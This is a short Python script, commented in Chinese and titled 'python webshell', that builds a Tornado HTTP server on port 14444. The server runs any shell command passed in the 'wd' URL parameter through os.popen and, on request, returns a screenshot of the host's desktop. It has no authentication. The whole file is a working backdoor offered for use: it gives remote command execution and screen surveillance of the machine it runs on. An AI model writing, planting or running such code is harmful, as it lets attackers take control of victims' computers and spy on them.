#python webshell
# 步骤:
#1:构建一款HTTP协议的服务器
#2:独立开放特定端口(http80/自定义端口)
#3:构建一个视图view(mvc)->APP
#4:执行shell命令 + 截取对方的桌面

#环境: tornado pyautogui os 

from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop 
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import platform
import os
import pyautogui


if platform.system()=='Windows':
    import asyncio
    asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

define('port',default=14444,help='这是http协议的通信端口')

#视图类 (页面)
class index(RequestHandler):
    #post get
    def get(self):
        #定义并获取url的参数http://localhost:14444/?wd=
        cmd=self.get_query_argument("wd",'')
        if cmd == 'screenshot':
            #截屏操作
            img=pyautogui.screenshot()
            img.save('screenshot.jpg')
            #二进制返回
            pic = open('screenshot.jpg','rb')
            pics = pic.read()
            self.write(pics)
            self.set_header("Content-type","image/png")
        else:
            rs=os.popen(cmd,'r')
            self.write(rs.read())
            
#应用
def makeapp():
    return Application([(r'/',index)])
if __name__ == '__main__':
    parse_command_line()
    app=makeapp()
    #装载 把应用部署到httpserver中
    server = HTTPServer(app)
    server.bind(options.port)
    server.start()
    #轮询监听
    IOLoop.current().start()